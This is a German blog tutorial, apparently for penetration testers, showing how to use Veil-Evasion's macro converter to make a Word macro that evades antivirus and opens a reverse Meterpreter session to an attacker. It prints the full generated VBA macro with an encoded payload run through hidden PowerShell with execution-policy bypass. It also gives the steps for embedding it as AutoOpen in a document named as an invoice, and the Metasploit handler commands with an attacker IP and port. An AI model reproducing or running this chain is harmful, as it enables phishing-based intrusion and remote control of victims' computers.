Makro-Viren sind eigentlich ein wenig in die Tage gekommen. Glaubt ihr das wirklich? Im Gegenteil – aktuell sind wieder verstärkt Angriffe zu verzeichnen. Auch wenn Makros seit geraumer Zeit in Office standartmäßig deaktiviert sind, gibt es viele Nutzer, die diese Anweisungen bzw. Deklarationen weiter nutzen wollen. Viele haben den Standart geändert und Makros wieder aktiviert bzw. lassen sich eine Meldung anzeigen, wenn Makro in einem Office-Dokument enthalten sind. Diese können dann mit einem Mausklick aktiviert werden.
Natürlich erfinden die Angreifer einige Tricks, um die ahnungslosen Nutzer in die Irre zu führen. Hier ist also eine wenig Aufklärung gefragt.
Penetration Tester sind eine andere Gruppe, die diese Makros nutzen, um in die Netzwerke ihrer Kunden “einzubrechen”. Aber hier geht man im Auftrag und strukturiert vor um die Sicherheitsarchitektur des Kunden zu testen. Dabei wendet man gezielt Social Engineering an und versucht den installierten Virenschutz zu umgehen.
Veil-Evasion ist eine Tool, dass gerade bei der Überwindung des Virenschutzes helfen soll und dazu verschiedene Verschleierungstechniken anwendet. Im November V-Day 2015 wurde ein Hilfsmittel (Auxiliar) hinzugefügt, mit dem sich relativ einfach Makros zu diesem Zweck erstellen lassen. Ziel ist es, durch Nutzung des Makros in einem Office Dokument eine (reverse) Netzwerkverbindung vom Opfer-PC zum Angreifer zu errichten und damit vom Virenschutz unbemerkt weitere Befehle auszuführen (Post-Exploitation).
Der Macro Converter (macro_converter) ist ab der Version 2.22.1 in Veil-Evasion verfügbar. Eine Lister der bis heute enthaltenen Module findet man hier:
=========================================================================
Veil-Evasion | [Version]: 2.22.1
=========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================
[*] Available Payloads:
1) auxiliary/coldwar_wrapper
2) auxiliary/macro_converter
3) auxiliary/pyinstaller_wrapper
4) c/meterpreter/rev_http
5) c/meterpreter/rev_http_service
6) c/meterpreter/rev_tcp
7) c/meterpreter/rev_tcp_service
8) c/shellcode_inject/flatc
9) cs/meterpreter/rev_http
10) cs/meterpreter/rev_https
11) cs/meterpreter/rev_tcp
12) cs/shellcode_inject/base64_substitution
13) cs/shellcode_inject/virtual
14) go/meterpreter/rev_http
15) go/meterpreter/rev_https
16) go/meterpreter/rev_tcp
17) go/shellcode_inject/virtual
18) native/backdoor_factory
19) native/hyperion
20) native/pe_scrambler
21) powershell/meterpreter/rev_http
22) powershell/meterpreter/rev_https
23) powershell/meterpreter/rev_tcp
24) powershell/shellcode_inject/download_virtual
25) powershell/shellcode_inject/download_virtual_https
26) powershell/shellcode_inject/psexec_virtual
27) powershell/shellcode_inject/virtual
28) python/meterpreter/bind_tcp
29) python/meterpreter/rev_http
30) python/meterpreter/rev_http_contained
31) python/meterpreter/rev_https
32) python/meterpreter/rev_https_contained
33) python/meterpreter/rev_tcp
34) python/shellcode_inject/aes_encrypt
35) python/shellcode_inject/aes_encrypt_HTTPKEY_Request
36) python/shellcode_inject/arc_encrypt
37) python/shellcode_inject/base64_substitution
38) python/shellcode_inject/des_encrypt
39) python/shellcode_inject/download_inject
40) python/shellcode_inject/flat
41) python/shellcode_inject/letter_substitution
42) python/shellcode_inject/pidinject
43) ruby/meterpreter/rev_http
44) ruby/meterpreter/rev_http_contained
45) ruby/meterpreter/rev_https
46) ruby/meterpreter/rev_https_contained
47) ruby/meterpreter/rev_tcp
48) ruby/shellcode_inject/base64
49) ruby/shellcode_inject/flat
[menu>>]:
Die Installation von Veil-Evasion kann mittels git erfolgen. Eine entsprechende Anleitung findet man hier. In einem folgenden Beispiel wird gezeigt, wie man mittels macro_converter eine Makro erstellt und es dann in eine Microsoft-Word Dokument einbindet. Veil-Evasion nutzt das Metasploit-Framework und die dort enthaltenen Techniken und Module.
Schritt 1 – Makro-Code erzeugen
Der Macro Converter ist im Menü von Veil unter Punkt zwei zu finden.
=========================================================================
Veil-Evasion | [Version]: 2.22.1
=========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================
Payload: auxiliary/macro_converter loaded
Required Options:
Name Current Value Description
---- ------------- -----------
ARCHITECTURE x86 x86 or x64
POSH_BATCH Path to a powershell batch script
Available Commands:
set Set a specific option value
info Show information about the payload
options Show payload's options
generate Generate payload
back Go to the main menu
exit exit Veil-Evasion
[auxiliary/macro_converter>>]:
Die Architektur ist standardmäßig auf x86 festgelegt. Möchte man ein 64-bit System angreifen, so sollte man hier den Wert auf x64 ändern. Eigentlich ist hier nur noch der Pfad zur Powershell Batch-Datei anzugeben. Diese hat man vorher mit dem Modul powershell/shellcode_inject/virtual (Nr. 27 im Menü) erstellt und im Datensystem von Kali Linux abgespeichert. Hier geht man genauso vor, wie es in einem anderen Beitrag schon beschrieben wurde.
In unserem Beispiel ist also nur noch das Kommando zum Setzen des Pfades anzugeben. Dann kann mit dem Befehl generate das Makro erzeugt werden.
set POSH_BATCH /usr/share/veil-output/source/rechnung.bat
generate
=========================================================================
Veil-Evasion | [Version]: 2.22.1
=========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================
[>] Please enter the base name for output files (default is 'payload'): rechnung
Language: powershell
Payload: auxiliary/macro_converter
Required Options: ARCHITECTURE=x86 POSH_BATCH=/usr/share/veil-
output/source/rechnung.bat
Payload File: /usr/share/veil-output/source/rechnung1.txt
[*] Your payload files have been generated, don't get caught!
[!] And don't submit samples to any online scanner! ;)
[>] Press any key to return to the main menu.
Das Ergebnis ist eine Textdatei (in unserem Beispiel rechnung1.txt), die das Makro enthält
root@kali:/usr/share/Veil/Veil-Evasion# cat /usr/share/veil-output/source/rechnung1.txt
Sub Workbook_Open()
Dim str As String
Dim exec As String
str = "nVdNb+M2EL3nVxCGDjZiB5QoUfIGAXbbRYEFiqJAgu4hyEEfVCNUkQ"
str = str + "1b3jq77X+v5tEzspINsOhlRHLImTdvhh8KSnWj3s8u7j+27a"
str = str + "en7WbXz2d/uV3nWhNdVW07Wzyo7aFom1Lt+7wfPu7YD3r1qe"
str = str + "t/73fqj2bXH/L2Q9tuyvlp7O+lOjRdr46n7/Pp+3Vx/b/9/L"
str = str + "xzee/uHodPxX4OJ7tflmr0fGqd+T6NvPT+tP9S7vof8f3knv"
str = str + "aun7+2LFHN3l8Em4HID1W1unveOrUa1hRu99HVTdf0zaZTQa"
str = str + "lWv+VPTs0+N52JZmrVDb39Ni+dwsgvh66kmXu12ub7ff+4O1"
str = str + "wEx5tg8+7dhGS91MdQa/oY/4n14lrd//Tcu/uHh2BPGdXHuh"
str = str + "w0LhtEFg0CE0dhSWRrmpKQoXAQJRQxKYpBJN6DdGGlnHRDmZ"
str = str + "xSNyJvuh5EkRKsnMYsm69JkZMBQ8LSWEotjbXUishbCSw0WV"
str = str + "ck0CV7jubVETtP0ikWQQq/RpDG1ArhjfA5Q2MZW65IJKGYWj"
str = str + "MMrzVihRShGDA5j0FrhAi/7DtBvxmWgVFymVIqalqryUdK82"
str = str + "rSmoK7UczzHLWSTIBnrB2BWyuoCEFcTCaH5eso9Ys4pErimM"
str = str + "1DJAULpBGsJTkziaARUVKLyNlySNlywEIRJSQsAbKOBMWWIg"
str = str + "7NipRosmuZAm8xa5FfTEGt6ZQRVFLZFeCaNwSsIKEJGUjJfD"
str = str + "61cjY55/S8MFAIa+Muw/ZLw9eKiCwbVCI5SqSoU8s+ECqIja"
str = str + "mFDRbLMiBF5IkARxGCF28Fa9ecFIOu5ZRZFDVahqdYlCMqMW"
str = str + "OFwU4WaN6vYa1HaqUErADPGBC6xjI0wEUBo2VRmJlYyRgzvK"
str = str + "UjJWsOH+kBIB9MLT4StueLRsyj/jDPW0aUZMBGYsBy5GchrF"
str = str + "kBXtDywGFeNhiwePQ5Y/YUR+wcJZDI1kXOY0EFgdMslpKKKs"
str = str + "70CByl7KfU7MhTPJYFAoy5aCCSRKyA3YJNgUnk16e7mgRohC"
str = str + "vPabo8L1bPlVQnFL7CCnYEyx7zmksFXHnus2mSpU4xGUc48g"
str = str + "s2fGpBXSW0G8bi2U0nQWNFKgcFji/4RYBIXiqcInJf2Zad4x"
str = str + "5MNS+DX+9cjhvPWswKT3vBpefDl93jSaylcoQI1EEylspY7Q"
str = str + "gfCCyncUwtrHgOwFUicWhOhU8otCUbRb144Dmv9VgyTgoSgF"
str = str + "MqkRPY37WkWBPIkgCNpyMUpWQLK7RQh4sgi1l7JlJpWV6Gew"
str = str + "GhRkhjMXG0ltNR50wYlmXwZpbnZ6x/3WhZEUtE1A3riV+/L6"
str = str + "m7Jr/ZNMDvXh2yFntVUxfvg3SKOSNRyvWuM845uhVATmk/e6"
str = str + "UheZIF7Z9+0ynZpBtLa0wFtnMuCcCD74zTaVietZTTM5qPpn"
str = str + "5fcIBLHenxBqK3OCAYeAX5Vwb58E8h85orJ4dRKaeekwcBzI"
str = str + "/CyCWHqvPlgzGc7dlk7Ewrj2Nc4DVa5DePJMB8EvQprOuLer"
str = str + "NT86C50ddBo1atGzr78upX1/3ZP67CxTB6eblQ3+gBf/qDuP"
str = str + "e/EA/z4Hh1txk6JpovLoNmsVTD0vugeViqcKH+UZtDv+oObX"
str = str + "v970XwFb8Ak/+fAcsyOC7pQ0//2z7f9avb1rmtWt26ctNViv"
str = str + "4QtP4P"
exec = "powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Comm"
exec = exec + "and ""Invoke-Expression $(New-Object IO.StreamRe"
exec = exec + "ader ($(New-Object IO.Compression.DeflateStream "
exec = exec + "($(New-Object IO.MemoryStream (,$([Convert]::Fro"
exec = exec + "mBase64String("" " & str & " "" )))), [IO.Comp"
exec = exec + "ression.CompressionMode]::Decompress)), [Text.En"
exec = exec + "coding]::ASCII)).ReadToEnd();"""
Shell(exec)
End Sub
Schritt 2 – Makro in Microsoft Word erstellen
In einem der letzten Beiträge haben wir schon mal ein Makro in MS-Exel erstellt. Wie gehen in MS-Word ähnlich vor.
Die Erläuterungen beziehen sich auf MS-Word 2007. Eine gute Anleitung findet man z.B. hier.
Anzeigen der Registerkarte “Entwickler”

Makro neu erstellen – als Name wählen wir AutoOpen. Dann den im ersten Schritt erzeugten Code einfügen.

Datei als “Word Dokument mit Makro” speichern.

Einstellungen für Makros

Sicherheitswarnung in MS-Word 2010 – Mit einem einfachen Mausklick kann der Makro aktiviert werden.

Schritt 3 Metasploit-Handler starten und Verbindung aufbauen
Auch diese Vorgehensweise wurde bereits erläutert. In der Konsole reicht dieser Befehl aus, um den Metasploit-Handler zu starten:
msfconsole -r /usr/share/veil-output/handlers/rechnung_handler.rc
=[ metasploit v4.11.5-2015113001 ]
+ -- --=[ 1508 exploits - 870 auxiliary - 253 post ]
+ -- --=[ 434 payloads - 37 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
[*] Processing /usr/share/veil-output/handlers/rechnung_handler.rc for ERB directives.
resource (/usr/share/veil-output/handlers/rechnung_handler.rc)> use exploit/multi/handler
resource (/usr/share/veil-output/handlers/rechnung_handler.rc)> set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
resource (/usr/share/veil-output/handlers/rechnung_handler.rc)> set LHOST 192.168.1.12
LHOST => 192.168.1.12
resource (/usr/share/veil-output/handlers/rechnung_handler.rc)> set LPORT 443
LPORT => 443
resource (/usr/share/veil-output/handlers/rechnung_handler.rc)> set ExitOnSession false
ExitOnSession => false
resource (/usr/share/veil-output/handlers/rechnung_handler.rc)> exploit -j
[*] Exploit running as background job.
msf exploit(handler) >
[*] Started HTTPS reverse handler on https://0.0.0.0:443/
[*] Starting the payload handler...
Ist das Makro auf dem PC des Opfers ordnungsgemäß ausgeführt worden, so öffnet sich eine Meterpreter-Session, die nun eine kontinuierliche Kommunikation mit dem Client gewährleistet.
